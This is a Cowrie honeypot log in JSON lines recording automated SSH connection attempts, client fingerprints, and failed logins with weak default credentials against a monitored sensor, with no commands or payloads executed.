{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:07.365488Z","src_ip":"103.252.123.105","session":"1a5722b7c78d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:07.590253Z","src_ip":"103.252.123.105","session":"1a5722b7c78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:07.905365Z","src_ip":"91.92.42.227","session":"d160bbca9e94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35818,"dst_ip":"10.17.0.5","dst_port":22,"session":"2742d9a4c44d","protocol":"ssh","message":"New connection: 91.92.42.227:35818 (10.17.0.5:22) [session: 2742d9a4c44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:08.001453Z"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:08.526375Z","src_ip":"103.252.123.105","session":"1a5722b7c78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:09.754996Z","src_ip":"103.252.123.105","session":"1a5722b7c78d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45738,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6864d0c1929","protocol":"ssh","message":"New connection: 45.156.87.147:45738 (10.17.0.5:22) [session: b6864d0c1929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:10.478879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:10.485704Z","src_ip":"45.156.87.147","session":"b6864d0c1929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:10.572222Z","src_ip":"45.156.87.147","session":"b6864d0c1929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:10.825271Z","src_ip":"45.156.87.147","session":"b6864d0c1929","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:11.067117Z","src_ip":"91.92.42.227","session":"2742d9a4c44d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:11.070626Z","src_ip":"91.92.42.227","session":"2742d9a4c44d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:11.912059Z","src_ip":"45.156.87.147","session":"b6864d0c1929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":54754,"dst_ip":"10.17.0.5","dst_port":22,"session":"2202e003e2ad","protocol":"ssh","message":"New connection: 8.219.200.1:54754 (10.17.0.5:22) [session: 2202e003e2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:12.975876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:12.981198Z","src_ip":"8.219.200.1","session":"2202e003e2ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxuser","password":"1","message":"login attempt [linuxuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:13.273293Z","src_ip":"91.92.42.227","session":"95d91a8d46d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45970,"dst_ip":"10.17.0.5","dst_port":22,"session":"89fa5ac92287","protocol":"ssh","message":"New connection: 91.92.42.227:45970 (10.17.0.5:22) [session: 89fa5ac92287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:14.740278Z"}
{"eventid":"cowrie.session.closed","duration":31.599900245666504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:16.621408Z","src_ip":"107.6.151.170","session":"41b6fd9ec967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:16.693788Z","src_ip":"91.92.42.227","session":"95d91a8d46d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45748,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfb700843b48","protocol":"ssh","message":"New connection: 45.156.87.147:45748 (10.17.0.5:22) [session: bfb700843b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:16.714865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:16.772912Z","src_ip":"45.156.87.147","session":"bfb700843b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:16.803205Z","src_ip":"45.156.87.147","session":"bfb700843b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"12345","message":"login attempt [fivem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:17.122795Z","src_ip":"45.156.87.147","session":"bfb700843b48","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:17.128097Z","src_ip":"91.92.42.227","session":"89fa5ac92287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:17.135421Z","src_ip":"91.92.42.227","session":"89fa5ac92287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:18.209104Z","src_ip":"45.156.87.147","session":"bfb700843b48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46080,"dst_ip":"10.17.0.5","dst_port":22,"session":"90002c0cd1f6","protocol":"ssh","message":"New connection: 91.92.42.227:46080 (10.17.0.5:22) [session: 90002c0cd1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:21.583897Z"}
{"eventid":"cowrie.login.failed","username":"ai","password":"123456","message":"login attempt [ai/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:21.909651Z","src_ip":"91.92.42.227","session":"2742d9a4c44d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":32778,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d5510d05263","protocol":"ssh","message":"New connection: 45.156.87.147:32778 (10.17.0.5:22) [session: 9d5510d05263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:22.748431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:22.752569Z","src_ip":"45.156.87.147","session":"9d5510d05263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:22.835184Z","src_ip":"45.156.87.147","session":"9d5510d05263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:23.110876Z","src_ip":"45.156.87.147","session":"9d5510d05263","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:24.170783Z","src_ip":"91.92.42.227","session":"90002c0cd1f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:24.173628Z","src_ip":"91.92.42.227","session":"90002c0cd1f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:24.271939Z","src_ip":"45.156.87.147","session":"9d5510d05263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.5","message":"Connection lost after 17.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:25.540868Z","src_ip":"91.92.42.227","session":"2742d9a4c44d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:28.772984Z","src_ip":"91.92.42.227","session":"89fa5ac92287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":32784,"dst_ip":"10.17.0.5","dst_port":22,"session":"12764165fe29","protocol":"ssh","message":"New connection: 45.156.87.147:32784 (10.17.0.5:22) [session: 12764165fe29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:29.005655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:29.009524Z","src_ip":"45.156.87.147","session":"12764165fe29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:29.094788Z","src_ip":"45.156.87.147","session":"12764165fe29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:29.344808Z","src_ip":"45.156.87.147","session":"12764165fe29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52444,"dst_ip":"10.17.0.5","dst_port":22,"session":"3070b91af04e","protocol":"ssh","message":"New connection: 91.92.42.227:52444 (10.17.0.5:22) [session: 3070b91af04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:29.874499Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:30.427851Z","src_ip":"45.156.87.147","session":"12764165fe29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.1","message":"Connection lost after 17.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:31.877963Z","src_ip":"91.92.42.227","session":"89fa5ac92287","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:31.890833Z","src_ip":"91.92.42.227","session":"3070b91af04e","protocol":"ssh"}
